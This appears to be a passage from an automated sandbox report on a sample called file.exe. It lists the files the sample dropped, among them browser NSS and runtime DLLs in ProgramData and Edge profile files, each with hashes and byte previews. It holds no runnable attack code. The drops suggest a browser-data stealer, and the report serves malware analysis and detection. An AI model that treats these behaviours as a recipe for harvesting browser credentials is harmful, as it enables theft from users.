SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\0b7df35e6b.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\04da2633-f1fd-43e4-8a21-b8f4942722e5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44608
Entropy (8bit):	6.0961964719356585
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBZwuKhDO6vP6O103Mm92nAocGoup1Xl3jVzXr4CCz:z/Ps+wsI7ynEl69chu3VlXr4CRo1
MD5:	A742F9B31AB33DE2051B630CC0266083
SHA1:	6B9340A3207E9416E69028D09D5E73509D2D05AA
SHA-256:	C924C6FF3E757038E7D3FDD62A9BDE8688465CCBD0CBE1CC90A32EB906DA232E
SHA-512:	8C6D05B20CEEB834022BD44E4B19D03F0118AED737CF194AE5A2512E2B9CA1C3CD1A13D7C39B76643533E967FC4C2552F22C53DA012C7D22175E43B93C8E75E1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1ac0fe8b-98ac-425f-bd69-64d65b932708.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44690
Entropy (8bit):	6.09598898482055
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBxwuKhDO6vP6O1wWyWnecFizcGoup1Xl3jVzXr4CW:z/Ps+wsI7yOE96Ichu3VlXr4CRo1
MD5:	293B814E745487CC57C9AE15F2B9A138
SHA1:	58DB1F4B222D2409ECEED35BDD6EC1C9335A46F2
SHA-256:	BDB323FAB5E636D28D19A7BD4EB6C1531423EB16A80D40E2D40A5D53AF7270E0
SHA-512:	5154C20346B41FDD0DDAEFC23A93EF680133A42B2ABF06899FB7B6027A7EEFA035162DD10874C5E9702F73D187D998FF4CF7C509EFA90A7075A2407F29F18030
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\24f6452a-daef-41b5-96fe-6352daa699a2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46074
Entropy (8bit):	6.087167006201793
Encrypted:	false
SSDEEP:	768:RMkbJrT8IeQcrQgx9snbujhDO6vP6O1wWyWnecFizP2185CAoIGoup1Xl3jVzXr8:RMk1rT8HR9sp6IP2185RoIhu3VlXr4L
MD5:	996C3F1B630B3300247157052C917693
SHA1:	43AB23F5D7CB8DDCFB878F459CD1038B0F168345
SHA-256:	8D1626AAAF73E9289D8A366A3D0759197C992171908C234C5D74209B8F849D25
SHA-512:	E23524E968BC4853A77D92C458CD8092F8DE90484523E600087D33E613211D69A9CB2D307AB656A9C1995A913CB5DE187BB781B21E1DF89EC6D2473B3E94FA44
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731381385"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\36159153-ee90-4566-b35c-f96a0bedcb3d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46151
Entropy (8bit):	6.087091779574226
Encrypted:	false
SSDEEP:	768:RMkbJrT8IeQcrQgH9snbujhDO6vP6O1EWyWnecFizP2185CAoIGoup1Xl3jVzXr8:RMk1rT8Hn9sp6IP2185RoIhu3VlXr4L
MD5:	00B9B70BF3E293F60830D9D2772D9457
SHA1:	0F29085B437074BCE62002C7A5978CE9B50A88E1
SHA-256:	8D3BAF81FBFABD3B57CD4E419B4504D88A5F343C98E3BE6B5FA8F8232C1665FC
SHA-512:	F0210171A6BAFA510470E3EC8255D0D78C65069A1C61F2E30616B2D21239F0C60B2CF95BBA9DFCFABBD1410337D0DCABF4C924E78665408C654C82F889989472
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731381385"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7e428a19-c6b1-421a-a950-1e2ed5e17026.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46151
Entropy (8bit):	6.0870937086454076
Encrypted:	false
SSDEEP:	768:RMkbJrT8IeQcrQgHosnbujhDO6vP6O1EWyWnecFizP2185CAoIGoup1Xl3jVzXr8:RMk1rT8Hnosp6IP2185RoIhu3VlXr4L
MD5:	A225625289A85EF2F77D0766E33DA98F
SHA1:	706BC3178B897AAAD9F37E06D57460ACB9067ECD
SHA-256:	0A04D9A769585A46F90BA21A2BA8C5FD066110BD59FF7906C295016ECAAD83B0
SHA-512:	05C83C91BE2B39BD2E52FE302C9608D5F3ED741354D41C97BDD00AFED4E1231DBB378495D7D57056880369332F937C826E5850FB36C4609F2AE2C18E012C88B3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731381385"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\8eb900c7-cd19-442e-a8bf-1e5b7f336876.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6732C883-1DB4.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4727662885844837
Encrypted:	false
SSDEEP:	3072:NqawUJPdkwQyc/kDgcCKKkAy+LIgnSoLpqN10pMrMyBSHg1HFDAOTq:/wUsP/kDtCKKcefnHqNiMrMyBSHaHBF
MD5:	03377EAB9A08361CA03C03EFE7BC63BF
SHA1:	4BF6B09E92A01D8922EC869DFE6A35CA0EE90FF6
SHA-256:	7457CABC1AF4E527548A270966C3690D358CED78BE95EDFE284341904F072A0C
SHA-512:	B77336BB7D62F4CC8ED0C3E99D241B0B26ACAC91128EC4B4F8E74ED614C9D0439D22F06149378504658B500C9A0697DDB38B54068EAC7D212992ED2A41BEFF33
Malicious:	false
Preview:	...@..@...@.....C.].....@...............8...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".efxkxo20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0eb9394e-ff4c-4db1-9138-3520b8cbfd10.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561752717138956
Encrypted:	false
SSDEEP:	768:1cKR0n7pLGLp06WP9Bf/R8F1+UoAYDCx9Tuqh0VfUC9xbog/OVwNk7aj3rwkNi9h:1cKR0hcp06WP9Bf/Ru1jaZNkWjkkNiH7
MD5:	20D0F4B0B1DDEAB477740E4B46FC355C
SHA1:	01B112A19EDB16CDEDF0C914689B81C1C3B1AC7C
SHA-256:	D7D314D39FF3ECF87941019B678A43D6B0F619055EA55282280EE9B0AB971F4F
SHA-512:	35F86BFAE2FE0E15C20DCBCC0A0C4025E89E9551AA764D86914BD9EE98D805F28A580FF0FF824BB3A25D3FACB8225736EE50692F9080FF5FA3905998BA78FB94
Malicious:	false
